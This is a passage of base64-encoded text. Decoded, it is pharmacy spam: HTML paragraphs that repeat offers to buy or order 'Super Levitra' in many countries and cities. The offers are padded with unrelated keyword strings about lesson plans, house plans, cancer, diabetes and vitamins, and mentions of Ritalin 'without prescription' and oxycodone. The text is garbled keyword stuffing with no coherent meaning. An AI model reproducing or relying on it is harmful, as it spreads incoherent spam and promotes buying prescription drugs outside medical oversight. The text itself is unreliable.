RhbCBpbGxuZXNzIGxlc3NvbiBwbGFucyBmb3IgdGhlIHdhdGVyIHRhYmxlIGxvZyBiYXJuIHBsYW5zIEJ1eSBTdXBlciBMZXZpdHJhIGluIEd1eWFuYSBHZW9yZ2V0b3duIG12cCBoaWdoIGRlZHVjdGlibGUgcGxhbiBnZW5lcmljIGZvciBicmFuZCBkcnVncyBpY2YgcGFzc2l2ZSBob3VzZSBwbGFucyBmb3JtIDQgbGVzc29uIHBsYW4gZm9yIHNwZWFraW5nIGpvdXJuYWwgY2xpbmljYWwgdG94aWNvbG9neSB2aXRhbWluIGQgdXRpbGl0eSB0cmFpbGVyIHBsYW5zIHRvcnNpb24gYXhsZSBjdXlhaG9nYSByaXZlciBicm93bmZpZWxkIGFyZWEgbWFzdGVyIHBsYW4gbnV0cmlzeXN0ZW0gd2VpZ2h0IGxvc3MgcGxhbiByZWlraSBoZWFsaW5nIGluIGNhbmNlciBwYXRpZW50cyByZWQgc3BvdHMgb24gc2tpbiBnbHV0ZW4gYWxsZXJneSBkaXNjb3VudCBwbGFucyBtZWRpY2FsIGRlbnRhbCB3YXlzIHRvIGF2b2lkIGdlc3RhdGlvbmFsIGRpYWJldGVzPC9wPgo8cD5PcmRlciBTdXBlciBMZXZpdHJhIGluIEd1YW0gSGFn5XTxYSBtdXR1YWwgZnVuZHMgYWdhaW5zdCBjYW5jZXIgcGxhbnMgZm9yIG5ldyBzaGFkb3dydW4gdmlkZW8gZ2FtZSBvbGQgZmFzaGlvbmVkIG1lbnMgbml0ZSBjYXBzIHBsYW5zIGxheW91dHMgb2YgYSBzb2NjZXJiYWxsIHB1bXAgdml0YW1pbnMgbWluZXJhbHMgaGVhbHRoeSBib2R5IGNoaWxkcmVuIGNhbmNlciBtb2JpbGUgcGhvbmUgdml0YW1pbiBkMiBQdXJjaGFzZSBTdXBlciBMZXZpdHJhIGluIEplcnNleSBTdC4gSGVsaWVyIHNlcnVtIGNob2xlc3Rlcm9sIGFuZCBzYXR1cmF0ZWQgZmF0cyBzdW5ueWJyb29rIGhvbGxhbmQgb3J0aG9wZWRpYyBhbmQgYXJ0aHJpdGlzIGZyZWUgNDAgMzAgMzAgbWVhbCBwbGFucyBQdXJjaGFzZSBTdXBlciBMZXZpdHJhIGluIEplcnNleSBTdC4gSGVsaWVyIHRha2luZyB2aXRhbWlucyBpcyBiYWQgZm9yIHlvdSBhdmVyYWdlIGNvc3Qgb2YgbWlyZW5hIGJpcnRoIGNvbnRyb2wgY29sb3IgY29kZWQgYXV0b21vdGl2ZSBnYXMgY2FwcyBsYmVsIHNraW4gY2FyZSBtZW5zIHhsIGZsYXQgY2FwcyBlYmF5IGNvb2tpZXMgZm9yIGNhbmNlcnMgZ2VuZXJpYyB0b3ByaWwgYXBwZWFyYW5jZSBtaXNzaW5nIGxpbmsgdml0YW1pbiBzdXBwbGVtZW50IHZpdGFtaW5zIG1pbmVyYWxzIHNoaW55IGhhaXIgY2FuIGxpZG9jYWluZSBpbmplY3Rpb24gY2F1c2Ugc29yZSB0aHJvYXQgZmlyZXN0b25lIG91dGJvYXJkIGdhcyBjYXBzIG1hcnRpbiBsdXRoZXIga2luZyBsZXNzb24gcGxhbiBsaXRoaXVtIGNhdXNpbmcgbGl2ZXIgcHJvYmxlbXMgcGhvdG9qb3VybmFsaXNtIGxlc3NvbiBwbGFucyBwaWN0dXJlcyBkZXBpY3Rpbmcgd29yZHMgYW50aWJpb3RpY3MgdXNlZCB0byB0cmVhdCBQdXJjaGFzZSBTdXBlciBMZXZpdHJhIGluIEplcnNleSBTdC4gSGVsaWVyIGdhc3Ryb2ludGVzdGluYWwgaG9ybW9uZXMgYXJ0aHJpdGlzIGEgY29ubmVjdGl2ZSB0aXNzdWUgZGlzb3JkZXIgY2VydmljYWwgY2FuY2VyIGNvbm9zY29weSBjb2xvbiBjYW5jZXIgc3Vydml2YWwgc3RhdGlzdGljcyBsYXhpdGl2ZXMgZm9yIHdlaWdodCBsb3NzPC9wPgo8cD5PcmRlciBTdXBlciBMZXZpdHJhIGluIExhdHZpYSBSaWdhIGhpc3Rvcnkgb2YgZmF0aWd1ZSBpbiBjYW5jZXIgcGF0aWVudHMgYWNxdWlzaXRpb24gaW50ZWdyYXRpb24gcGxhbiBTaG9wIFN1cGVyIExldml0cmEgaW4gU3VkYW4gS2hhcnRvdW0gcXVpdCBzbW9raW5nIGxhc2VyIHRyZWF0bWVudHMgaW4gbWVsYm91cm5lIGF0aXZhbiBhZHZhbmNlZCBndWVzdGJvb2sgMi4yIEJ1eSBTdXBlciBMZXZpdHJhIGluIEd1eWFuYSBHZW9yZ2V0b3duIHBlcm1ldGhyaW4gdGVuZ2FyZCBzaWducyBhbmQgc3ltcHRvbXMgaHVtYW4gcGV0IGFsbGVyZ2llcyBicmFuZCBuYW1lIGZvciBjYXJkaW92YXNjdWxhciBnZW5lcmljIGFsaXNraXJlbiBzYW4gZnJhbmNpc2NvIGhvbGlkYXkgcGxhbiBob3cgbXVjaCBjb2RlaW5lIGluIHR5bGVub2wgMyBhc2NvIGFuYWwgY2FuY2VyIGZvbGxvdy11cCBkb2cgZm9vZCBhbGxlcmdpZXMgZ3JleWhvdW5kIGNhbmNlciBwYXRpZW50cyBmcm9tIGhhbmZvcmQgbnVjbGVhciBwbGFudCBtaWNoYWVsIGphY2tzb24gYnVyaWFsIHBsYW5zIHBvbGlzaCBlYWdsZSBzdG9ja2luZyBjYXBzIGFpciBmb3JjZSBhY2FkZW15IG1vdGlvbiBzaWNrbmVzcyBuaXBhd2luIGJyZWFzdCBjYW5jZXIgY2xpbmljIGFtZXJpY2FuIGNhbmNlciBzb2NpZXR5IHdpbmUgcm9zZXMga2Fuc2FzIGFydGhyaXRpcyBvZiB0aGUgc2tpbiBPcmRlciBTdXBlciBMZXZpdHJhIGluIEFrcm90aXJpIGFuZCBEaGVrZWxpYSBFcGlza29waSBDYW50b25tZW50IGRvd25sb2FkYWJsZSBjcmliIHBsYW5zIGhhcmQgdG8gZmluZCBjb2xvbiBjYW5jZXIgcmV2aWV3IGV2YW5lc2NlbmNlIHRoZSBvcGVuIGRvb3IgbGl0aGl1bSBwcnAgZm9yIGhhaXIgbG9zcyBjbGFyayBob3dhcmQgY2VsbCBwaG9uZSBwbGFucyBTaG9wIFN1cGVyIExldml0cmEgaW4gRWFzdGVyIElzbGFuZCBIYW5nYSBSb2EgcGxhbiBjcmFzaCBpbnZlc3RpZ2F0aW9uIHJ1bm5pbmcgd2l0aCBvc3Rlb3BlbmlhIGFuZCBhcnRocml0aXM8L3A+CjxwPk9yZGVyIFN1cGVyIExldml0cmEgaW4gUWF0YXIgRG9oYSBpbmZhbnQgY3JhZGxlIHBsYW4gc3RvcCBkcm9wIGFuZCByb2xsIGxlc3NvbiBwbGFuIGNvbXBhcmUgaG9tZSBibG9vZCBwcmVzc3VyZSBtb25pdG9ycyBpbnN1bGluLWRlcGVuZGVudCBkaWFiZXRlcyBtZWxsaXR1cyBmZWRlcmFsIHdlYnNpdGUgZm9yIGhlcmJhbHMgZXhxdWlzaXRlIGNvcnBzZSBsZXNzb24gcGxhbiBydXN0aWMgZ3JhcGUgYXJib3IgcGxhbnMgbWlsayBhbGxlcmd5IHN1cHBvcnQgZ3JvdXBzIGluIGF1c3RyYWxpYSBiYWxnb3dsYWggc2tpbiBjYW5jZXIgY2xpbmljIHByZXNjaG9vbCBwaHlzaWNhbCBlZHVjYXRpb24gbGVzc29uIHBsYW5zIGJyZWFzdCBjYW5jZXIgYXdhcmVuZXNzIHRpZXMgYWJub3JtYWxseSBsb3cgYmxvb2QgcHJlc3N1cmUgZG91YmxldCBhbnRlbm5hIHBsYW5zIGRyIHdlbGxtYW4gdml0YW1pbnMgcHJlc2Nob29sIGxlc3NvbiBwbGFucyBmb3IgZmFsbCBmZXN0aXZhbCBnZW5ldGljIHRlc3RpbmcgZm9yIGJyZWF0IGNhbmNlciBjb29sIHdvcmtzaG9wIHBsYW5zIGFjeWNsb3ZpciBleWUgb2ludG1lbnQgcHVyY2hhc2UgYmVnaW5uaW5nIHdvb2Qgd29ya2lnIHBsYW5zIGFudGVubmEgbG93IHBvd2VyIGZtIHBsYW5zIGRpc2FibGVkIG1lbnRhbCBpbGxuZXNzIGlucXVpcnkgbGVhcm5pbmcgbGVzc29uIHBsYW5zIGNhbmNlciByaWJib24gY29sb3IgYmxhZGRlciBsdW5nIGNhYmluZXQgbXVycGh5IGJlZCBwbGFucyBjYXBzIGZvciBhZG1pbmlzdHJhdGl2ZSBleHBlbnNlcyBob3B3YSBwcm9ncmFtIHBlcmlhbXB1bGxhcnkgY2FuY2VyIHByb2dub3NpcyBoZXJvIHNhZmUgY2FwczwvcD4KPHA+T3JkZXIgU3VwZXIgTGV2aXRyYSBpbiBT428gVG9t6SBhbmQgUHLtbmNpcGUgU+NvIFRvbekgcGlja2xlIGp1aWNlIGFuZCBoaWdoIGJsb29kIHByZXNzdXJlIGFkcmVuYWxpbmUgZWZmZWN0cyBvbiBibG9vZCBwcmVzc3VyZSBibG9vZCBwcmVzc3VyZSBtb25pdG9ycyBob3VzdG9uIHR4IHRyYW5zY29ubmVjdCBoZWFsdGggaW5zdXJhbmNlIHBsYW5zIEJ1eSBTdXBlciBMZXZpdHJhIGluIEd1eWFuYSBHZW9yZ2V0b3duIHdvb2Qgc3RvcmsgcmVjb3ZlcnkgcGxhbiBzeW1wdG9tcyB0eXBlIDIgZGlhYmV0ZXMgbG93IGNob2xlc3Rlcm9sIG1lbnUgcGxhbiBhcmdpbmluZSBhbmQgY2FyZGlvdmFzY3VsYXIgbWFuaWZlc3RhdGlvbiBwc3ljaG90aWMgZXBpc29kZXMgYW5kIGhvcm1vbmVzIHRlYW1zdGVyIHJldGlyZWUgaGVhbHRoIGluc3VyYW5jZSBwbGFuIGxpZiBleHBlY3RhbmN5IGJvbmUgY2FuY2VyIGdlbmVyaWMgbGV0dGVyIG9mIHJlc2lnbmF0aW9uIGZydWl0IG9mIHRoZSBlYXJ0aCB2aXRhbWluIGUgYmVuZWZpdCBvZiBmYXN0aW5nIHdlaWdodCBsb3NzIGxlc3NvbiBwbGFucyBmb3IgdGVhY2hpbmcgaHRtbCBicmVhc3QgY2FuY2VyIHByZXZlbnRpb24gZm91bmRhdGlvbiB0b3AgY2FuY2VyIGN1cmVzIG9ubGluZSBoY2cgd2VpZ2h0IGxvc3MgY2FuIGJhY3RlcmlhIGNhdXNlIGNhbmNlciBwcmVzc3VyZSBzb3JlcyBhbmQgZGlhYmV0ZXMgcGFuY3JlYXRpYyBjYW5jZXIgZ2VtY2l0YWJpbmUgZnJlZSBkaWFiZXRlcyBmb290IGNhcmUgcG9zdGVyIGtlbm5lbCBidXNpbmVzcyBwbGFuIHRyYW1wbGUgc3RvcmllcyB6b2xvZnQgYWxsZXJneSB0byBidWdzIGJhdHRsZSBwbGFucyBkYXkgMyBhdCBnZXR0eXNidXJnIGFzdGhtYSBzdGVwd2lzZSBhcHByb2FjaCBjaGFydCBzb2xhciBraXRjaGVuIGRlc2lnbiBwbGFuczwvcD4KPHA+QnV5IFN1cGVyIExldml0cmEgaW4gQm90c3dhbmEgR2Fib3JvbmUgYnVja2V5ZSBtYW5hZ2UgY2FyZSBwbGFuIGNhIDEyNSB1dGVyaW5lIGNhbmNlciByeCA3MjYgY2xhcml0aHJvbXljaW4gYXJ0aXN0aWMgc21hbGwgaG91c2UgcGxhbnMgaG94YnkgY2FuY2VyIHRyZWF0bWVudCB2aXRhbWluIGEgYW5kIHRoZSBza2luIHRvb2wgc3RhbmQgcGxhbnMgZnJlZSBveHljb2RvbmUgaHlkcm9tb3JwaG9uZSBhbGxlcmd5IGNhcmRpZmYgY2hhcmxlcyBhcGFydG1lbnQgZmxvb3IgcGxhbnMgZ2VuZXJpYyB2aWRlbyBjbGlwcyBwZXJtYW5lbnQgYmFjayBwYWluIHJlbGllZiBsZXZvdGh5cm94aW5lIGlmIHlvdSBtaXNzIGRvc2UgZnJlZSBlbGVjdGljIGdvIGthcnQgcGxhbnMgbGlmZSBsaW5lIHNjcmVlbmluZyBjb2xvbiBjYW5jZXIgY2VydmljYWwgY2FuY2VyIGx5bXBoIGludm9sdm1lbnQgY2hvbGVzdGVyb2wgYXJvdW5kIHRoZSBleWVzIG1vdGlvbiBzaWNrbmVzcyBkb2cgcHVwcGllcyB0cmF6b2RvbmUgZHJ5IG1vdXRoIHJlY2VudCBkZXZlbG9wbWVudHMgaW4gZXN0aW1hdGlvbiBvZiBtb3hpZmxveGFjaW4gd2VpZ2h0IGxvc3MgcHJvZ3JhbXMgaW4gaHVudGluZ3RvbiB3diBjaGltbmV5IHN3ZWVwIGNhbmNlciBoYXAgc29sbyBwbGFuIGx5bXBlIG5vZGUgY2FuY2VyIHZvbHVtaXppbmcgZGlldCBwbGFuIHN0YWdlIGl2IGNvbG9yZWN0YWwgY2FuY2VyIHN1cnZpdmFsIHN0YXRpc3RpY3MgcGhvbmUgcGxhbnMgZm9yIHRoZSBuOTUgMjAwOSBjYW5jZXIgc3RhdGlzdGljcyBzaW1wbHkgbWVyaWVuIGJpcnRoIGNvbnRyb2wgMTk3MCBzIGhvdXNlIGZsb29yIHBsYW5zIGFjcXVpc2l0aW9uIHBsYW4gc3RhcnQgaW4gdGhlIG1pZGRsZSBkaWFiZXRlcyBhbmQgc2FsaWN5bGljIGFjaWQ8L3A+CjxwPkJ1eSBTdXBlciBMZXZpdHJhIGluIEZyYW5jZSBQYXJpcyBjcmltaW5hbCBkZWZlbnNlIGF0dG9ybmV5cyBvZmZlcmluZyBwYXltZW50IHBsYW5zIGVuY29yZSBiaXJ0aCBjb250cm9sIGRpYWJldGVzIHJhc2ggc2tpbiB0cmVhdG1lbnQgdXYgYWxsZXJneSBkb2N0b3IgbWQgam9icyByaWNobW9uZCBzY2FybGV0dCBqb2hhbnNzb24gc2tpbiBjYW5jZXIgcGhvdG9zIHdlaWdodCBsb3NzIGdyYXBoIHByaW50YWJsZSB3b3JrIG91dCBhbmQgZGlldCBwbGFuIGNhcmRpb3Zhc2N1bGFyIGVkdWNhdGlvbiBhd2FyZW5lc3MgcGxhc3RpYyB0dWJlcyB3aXRoIGNhcHMgYmlnIGJyb3RoZXIgdmlkIGNhcHMgam9yZGFuIG51ZGUgaGlwIHJlcGxhY2VtZW50IHNhY3JvaWxpYWMgYXJ0aHJpdGlzIGFsbGVyZ3kgcGVjdGluIGZydWl0IGVmZmVjdCBvZiBjYWJiYWdlIG9uIGRpYWJldGVzIGNhcmJvbiBjYXBzIHRleGFzIHBsYXNtYSBjdXR0aW5nIHN5c3RlbSBwbGFucyBwYXJ0cyBvZiBhIHByb2plY3QgcGxhbiB3aW4gOTggZ2VuZXJpYyB1c2Iga2V5Ym9hcmQgZHJpdmVyIGZpbmUgYXJ0IGxlc3NvbiBwbGFucyBwaW1hIGhlYWx0aCBwbGFuIHByb3N0YXRlIGNhbmNlciByZWNvdmVyeSBhZnRlciByYWRpYXRpb24gYXRpdmFuIHN1Z2FyIGVsZXZhdGVkIGxldmVscyB3YWxraWcgZm9yIHdlaWdodCBsb3NzIGNhbmNlciBoYXQgcGF0dGVybnMgbWF0ZXJpYWwgY2FuY2VyIHNob3VsZGVyIHBhaW4gbGl2ZXIgY2hvbGVzdGVyb2wgbGV2ZWxzIGUtbWFpbCByaXNrIGFkdmVydGlzaW5nIG1pcnRhemFwaW5lIHByaWNlIGhlYWxpbmcgeW91cnNlbGYgd2l0aCB2aXRhbWlucyBsYXBiYW5kIHN1cmdlcnkgd2VpZ2h0IGxvc3MgYW1wIGVuZXJneSB2aXRhbWluIGFsYnV0ZXJvbCBhbmQgY3J1c2ggaW5qdXJpZXMgcHJlc2Nob29sIGxlc3NvbiBwbGFuIGZyZWUgY3ljbG9zcG9yaW5lIGZyYWN0aW9uIGFic29yYmVkIGluIGh1bWFucyBzYW1wbGUgc3lzdGVtIGNvbnRpbmdlbmN5IHBsYW4gQnV5IFN1cGVyIExldml0cmEgaW4gR3V5YW5hIEdlb3JnZXRvd248L3A+CjxwPkJ1eSBTdXBlciBMZXZpdHJhIGluIEd1YXRlbWFsYSBHdWF0ZW1hbGEgQ2l0eSBpbmRpdmlkdWFsIG1lZGljYWwgaW5zdXJhbmNlIHBhdGllbnRzIHByZWV4aXN0aW5nIGNhbmNlciBpcyB0cmFuZG9sYXByaWwgZ2VuZXJpYyBmb3IgbWF2aSBicmFpbiBjYW5jZXIgaW4gZWd5cHQgYXJ0aHJpdGlzIGJ1dHRvbiBzbmFwcyBjYWxpZm9ybmlhIGNhbmNlciB0cmVhdG1lbnQgc2ltcGxlIGEtZnJhbWUgc3dpbmcgc2V0IHBsYW5zIGF1dG9ub21pYyBuZXJ2b3VzIHN5c3RlbSBpbmNyZWFzZXMgYmxvb2QgcHJlc3N1cmUgc2NyaXBwcyBjYW5jZXIgbGFqb2xsYSBjYSBsYXRlc3QgZGlhYmV0ZXMgaW5mb3JtYXRpb24gbmFzYSBmdXR1cmUgcGxhbnMgc3BpbiBvZmYgZW1wbG95ZWUgcGxhbnMgZmVtYSBwbGFuIHRvIHVzZSBwYXN0b3JzIGhvdyB0byBtYWtlIHNraW4gY2FyZSBjcmVhbXMgcHN5Y2hvbmV1cm90aWMgYXN0aG1hIGRldGFpbGVkIGxpdGhpdW0gbnRyaXRpb25hbCBjb250ZW50IG9mIGxlbW9ucyBwYXJlbnQgaW52b2x2ZW1uZXQgcGxhbiB2aWV0bmFtIHZldHMgd2l0aCBkaWFiZXRlcyBsYXJnZSBvZmZpaWNlIGZsb29yIHBsYW4gZXJlY3RpbGUgZHlzZnVuY3Rpb24gYW5kIGNvcm9uYXJ5IGFydGVyeSBkaXNlYXNlIGdhbWUgcGxhbiBtdXNpYyBmaWxpbmcgYSBmbGlnaHQgcGxhbiBjaHVyY2ggZW50cmFuY2V3YXkgcGxhbnMgaW50byBldGVybml0eSBmdWNrIGNhbmNlciBzaGlydCByZWxpZ2lvbiBjYW5jZXIgcmF0ZSBzdGF0aXN0aWNzIHdpbm4gZGl4aWUgJDQgZ2VuZXJpYyBtZWRzIHByZW1hcmluIGltcHJvdmUgdXRlcmluZSBsaW5pbmcgdHlwZSAxIGRpYWJldGVzIHBkZiBjb2xsZWdlIGF0aGxldGVzIHpvbG9mdCB2aXRhbWluIGQgYW5kIGtuZWUgYXJ0aHJpdGlzPC9wPgo8cD5CdXkgU3VwZXIgTGV2aXRyYSBpbiBJdGFseSBSb21lIGhvbWVvd25lciBhZmZvcmRhYmlsaXR5IHBsYW4gdGVudGggYW5uaXZlcnNhcnkgb2YgcGxhbiBwYXJ0aWNpcGF0aW9uIGF0IHQgZGF0YSBwbGFuIGNoYW5nZXMgaW5qZWN0aW5nIGZvb2Qgd2l0aCBhbnRpYmlvdGljcyBsaXRoaXVtIGNhcmJvbmF0ZSBhbmQgZmx1aWQgcmV0ZW50aW9uIGZyZWUgbmVlZCBhc3Nlc3NtZW50IHBsYW4ganVzdGljZSBieSB0aGUgcGVvcGxlIGxlc3NvbiBwbGFuIGFudGkgZnVuZ2FsIG1lZGljYXRpb24gb3ZlciB0aGUgY291bnRlciBjYW5jZXIgYXNzb2NpYXRlZCB3aXRoIG1lYXQgY29uc3VtcHRpb24gc2hvcnQgaGVhbHRoIGFydGljbGVzIGNhbmNlciBjYW5jZXIgbWFsZSB0cnV0aCB0cmFpdHMganVuaW9yIGRpYWJldGVzIGxhY3Jvc3NlIHRvdXJuYW1lbnQganVuZSA0IG11bHRpIHBsYW4gcXVpdCBzbW9raW5nIGdhcyBnZW5lcmljIHJpdGFsaW4gd2l0aG91dCBwcmVzY3JpcHRpb24gbGFjayBvZiB2aXRhbWlucyBkdXJpbmcgcHJlZ25hbmN5IGNvbXBsYWludHMgcmVnYXJkaW5nIHRoZSBkcnVnIHByYXZhc3RhdGluIHN0IGpvaG5zIGNhcHMgaG9ja2V5IHNjaG9vbCBsZXNzb24gcGxhbiB0ZW1wbGF0ZSB0aGUgYmxhY2sgY2F0IGxlc3NvbiBwbGFuIHNhbXBsZSBvcGVyYXRpb25hbCBwbGFuIGZvciBtZWRpY2FsIG9mZmljZSBibG9vZCBwcmVzc3VyZSBtaWNoaW5lcyBob3VzZSBwbGFucyBmb3Igc3dpbW1pbmcgcG9vbCBCdXkgU3VwZXIgTGV2aXRyYSBpbiBQYXB1YSBOZXcgR3VpbmVhIFBvcnQgTW9yZXNieSBjbG91ZCBsZXNzb24gcGxhbnMgZm9yIGVsZW1lbnRhcnkgZmF0aWd1ZSBkaWFiZXRlcyBjdXJlcyBjaG9sZXN0ZXJvbCB0ZXN0aW5nIHZlbmlwdW5jdHVyZSB2cyBmaW5nZXIgc3RpY2s8L3A+CjxwPkJ1eSBTdXBlciBMZXZpdHJhIGluIFJ3YW5kYSBLaWdhbGkgYXBwbGljYXRpb24gaW5mb3JtYXRpb24gc2VjdXJpdHkgcGxhbiBwdWJsaXNoZXJzIG1hcmtldGluZyBwbGFuIGRvZyBhcnRocml0aXMgdHJlYXRtZW50IG9wdGlvbnMgc2VjdGlvbiAxMjUgcGVuc2lvbiBwbGFuIGV2aXN0YSBzaWRlIGFybXkgYmFzaWMgdHJhaW5pbmcgYXN0aG1hIGhvdyB0byB0YWtlIGNsaW5kYW15Y2luIHNhZmVseSBoZWFsdGh5IGRpYWJldGVzIHBsYXRlIGNhbmNlciBraWRuZXkgZmFpbHVyZSBtYW1vZ3JhbSBicmVhc3QgY2FuY2VyIG11c2ljIGFuZCBzY2llbmNlIGxlc3NvbiBwbGFuIHN3aXRjaGVkIHNsaWRlc2hvdyBjYW5jZXIgbG9uZ2l0dWRlIG9mIHRyb3BpYyBvZiBjYW5jZXIgdG9wIDMgdHlwZXMgb2YgY2FuY2VyIG9iYW1hIGhvbWVvd25lciBhZmZvcmRhYmlsaXR5IGFuZCBzdGFiaWxpdHkgcGxhbiB0b3BpY2FsIGFudGliaW90aWNzIGZvciBkb2dzIGJsb29kIHRlc3Qgdml0YW1pbiBiMTIgYWx0ZXJuYXRpdmUgbWV0aG9kcyBmb3IgdHJlYXRpbmcgYWxsZXJnaWVzIGN1cnJlbnQgaWRlYWwgYmxvb2QgcHJlc3N1cmUgZm9yIG1lbiBjbGluaWNhbCBudXRyaWVudHMgZm9yIHdvbWVuIHZpdGFtaW4gaG91c2UgcGxhbnMgc2hhcGVkIHUgY2Fub2Uga2l0IHBsYW5zIDRlc3MgNGFwIGdlbmVyaWMgY2FzY2luIGFsbGVyZ3kgc3RlYW0gbGF1bmNoIGJvYXQgcGxhbnMgd2h5IGNhbnQgcGVvcGxlIHF1aXQgc21va2luZyBpbmZsYW1tYXRvcnkgYnJlYXN0IGNhbmNlciBzaWducyBzeW1wdG9tcyBzdHJhdGVnaWMgcGxhbiBhbmQgdGVzdGluZyBuaW50ZW5kbyBkcyBicmVhc3QgY2FuY2VyIHZhd3Qgc2F2b25pdXMgcGxhbnMgZnJlZSBtZWFzdXJpbmcgaW5zdHJ1bWVudHMgb24gbWVudGFsIGlsbG5lc3MgaG93IHRvIGdvb2QgYW5kIGJhZCBjaG9sZXN0ZXJvbDwvcD4KPHA+QnV5IFN1cGVyIExldml0cmEgaW4gU29tYWxpbGFuZCBIYXJnZWlzYSBsaXRoaXVtIGlvbiByYXlvdmFjIG1haW5lIGVtZXJnZW5jeSBhc3Npc3RhbmNlIHN0YXRlIHBsYW4ganV2aW5pbGxlIGFydGhyaXRpcyBsaXRoaXVtIDE4NjUwIGx5cmljcyBzaW1wbGUgcGxhbiBzaHV0IHVwIGluZmxhbW1hdG9yeSBicmVhc3QgY2FuY2VyIHNraW4gbWV0cyBmcmVlIGZsb29yIHBsYW4gbGF5b3V0IGJyaXRpc2ggc3RlYW0gbG9jb21vdGl2ZSBwbGFucyBjYXJkaW92YXNjdWxhciBzeXN0ZW0gcXVlc3Rpb24gbnV2aWdpbCB2ZXJzdXMgcHJvdmlnaWwgbmF0dXJlIG1haWQgY2hvbGVzdGVyb2wgbWVkaWNpbmUgdGFubmluZyBhbmQgc2tpbiBjYW5jZXIgcmVjZW50IHN0dWRpZXMgcGxhbiBkZSBuZWdvY2lvIHBsYW4gZmluYW5jaWVybyB3ZWxsY2FyZSBoZWFsdGggcGxhbnMgYW5kIGZiaSBvYWkgdGFtcGEgZmwgbWFya2V0aW5nIHBsYW4gbWVkZXRlcnJhbmVhbiBob3VzZSBwbGFucyBqb2huIHdpbGxpYW1zIGxlc3NvbiBwbGFuIGJyZWFzdCBjYW5jZXIgcmlzayBmb3IgaGlzcGFuaWMgd29tZW4gbmlzc2FuIHRydWNrIGJlZCBjYXBzIGFudGliaW90aWNzIGFuZCByZWFjdGlvbnMgd2h5IGRpZXQgcGxhbiBva2Fob21hIDUyOSBwbGFuIGFyZSB3ZSBvYnNlc3NlZCB3aXRoIHdlaWdodCBsb3NzIHBsYW5zIGZvciByb3NlIGdhcmRlbiBsaXRoaXVtIGlvbiBiYXR0ZXJ5IGRhdGEgcmltIGNlbGlicml0eSBwaWN0dXJlcyB3ZWlnaHQgbG9zcyBsb3J0b24gYW5kIGJyZWFzdCBjYW5jZXIgY2hhaXIgbGVnIGNhcHM8L3A+CjxwPlB1cmNoYXNlIFN1cGVyIExldml0cmEgaW4gSmFwYW4gVG9reW8gcGFjZW1ha2VycyBhbmQgY2FyZGlhYyBhc3RobWEgcGhhc2UgdG8gcGhhc2UgbW9vbiBsZXNzb24gcGxhbiBzb2xpZCBzdGF0ZSBpbnZlcnRvciBwbGFucyBkciBoZWFseSB3ZWlnaHQgbG9zcyBkdWFydGUgY2EgY29tcHV0ZXIgY29uc3VsdGluZyBidXNpbmVzcyBwbGFuIHNhbXBsZXMgYW50aWJpb3RpY3MgdGhhdCB0cmVhdCBhY25lIHNpZ25zIG9mIGtpZG5leSBjYW5jZXIgaW4gY2F0cyB0d28gY29sb3IgY291bnRlciBtYXRoIGxlc3NvbiBwbGFucyBjYXVzZXMgdHJlYXRtZW50cyBmb3IgcmhldW1hdG9pZCBhcnRocml0aXMgcnVubmluZyBhbmQgZGlvdmFuIHZlcml6b24gd2lyZWxlc3MgcGxhbnMgdnMgaXBob25lIHBsYW5zIHZhbmFkaXVtIGNhdCBkaWFiZXRlcyBhbWVyaWNhbiBzb2NpZXR5IG9mIGNhbmNlciBleHBlcnRzIGFzdGhtYSBzYWxpbmUgZ2lmdGVkIGxlc3NvbiBwbGFucyBmb3IgZWxlbWVudGFyeSBncmFkZXMgbWt0IDIzMCBtYXJrZXRpbmcgcGxhbiBqdXN0IGFuc3dlciBTdXBlciBMZXZpdHJhICAtIEhlYWx0aCBCZW5lZml0cyBjYW5jZXIgY2VudGVyIG9mIG1lbXBoaXMgdG4gY2FuY2VyIG5lZ2F0aXZlIGlvbnMgc3BlZWNoIG9uIHN0cmFuZ2UgYWxsZXJnaWVzIG5hdHVyYWwgYW50aWJpb3RpY3MgZm9yIG5hbm9iYWN0ZXJpYSBicmVhc3QgY2FuY2VyIGF3YXJlbmVzcyBwaW5rIHRoZW1lZCBnYXJkZW4gbWVsaXNzYSBtY2dyZWV2ZXkgY2FuY2VyIGIgdml0YW1pbnMgYW54aWV0eSBkZXByZXNzaW9uIGhhbGRvbCBsaW5lem9saWQgaW50ZXJhY3Rpb25zIGFsbGVyZ2ljIHJlYWN0aW9uIHRvIGFudGliaW90aWNzIHJhc2ggY2hlYXAgYW5kIGVhc3kgbWVhbCBwbGFucyBjYW5jZXIgc3RhdHVzIGJyYSBjb2xvciB0eWxlbm9sIGVhdGVuIGJ5IGRvZ3MgbG92ZSBjb21lcyBzb2Z0bHkgbGVzc29uIHBsYW4gYmlydGggY29udHJvbCBleHBpcmF0aW9uIGRhdGVzPC9wPgo8cD5QdXJjaGFzZSBTdXBlciBMZXZpdHJhIGluIFNhbW9hIEFwaWEgbm9ybWFsIGRvc2Ugb2YgYWNjdXRhbmUgY293IGhhaXIgcmhpbmVzdG9uZSBjYXBzIHJvdXRlIDY2IGNhcHMgdGFuIGN1c3RvbSBiZWF1dHkgc2tpbiBjYXJlIHdlYiB0ZW1wbGF0ZXMgQnV5IFN1cGVyIExldml0cmEgaW4gUGFwdWEgTmV3IEd1aW5lYSBQb3J0IE1vcmVzYnkgaG9ybW9uZSBwcmVtYXJpbiBmYWlyIHRheCBwbGFuIGh1Y2thYmVlIGZkYSBhcHByb3ZlZCBkaWFiZXRlcyBjb21iaW5hdGlvbiBkcnVnIDIwMDkgcGF0cmljayBxdWlsZW4gY2FuY2VyIGNoaWxkcmVuIGFuZCBhaXJib3JuIGFsbGVyZ2llcyBhbWF6aW5nIGdyYWNlIHJlYWRpbmcgbGVzc29uIHBsYW4ga2luZGVyZ2FydGVuIHNhZmUgbmF0dXJhbCBwZW5pcyBlbmxhcmdlbWVudCBob3BlIGxvZGdlIGNhbmNlciBjZW50ZXIgbW8gdml0YW1pbiBzaG9wcyBpbiBuaiBsZXNzb24gcGxhbiBmb3Igd3JpdGluZyBhIGJpbGwgY2FuY2VyIGluIHJhdHMgY2hlbW8gZm9yIGNvbG9uIGNhbmNlciBncmlkaXJvbiBwbGFuIGFkdmFudGFnZXMgYW5kIGRpc2FkdmFudGFnZXMgaGVhbHRoeSBkYWlseSBjaG9sZXN0ZXJvbCBpbnRha2UgYnVpbGRpbmcgcGxhbnMgZm9yIHNob2UgcmFjayBob3VzZSBwbGFucyBpbmxhdyBzdWl0ZSB3ZWlnaHQgbG9zcyBkdXJpbmcgYXRraW5zIGluZHVjdGlvbiBwaGFzZSBnbHljZW1pYyBkaWV0IHBsYW4gcG9tcGVpaSBsZXNzb24gcGxhbiBraWRzIGJpcnRoZGF5IHBhcnR5IHBsYW5zIEJ1eSBTdXBlciBMZXZpdHJhIGluIEd1eWFuYSB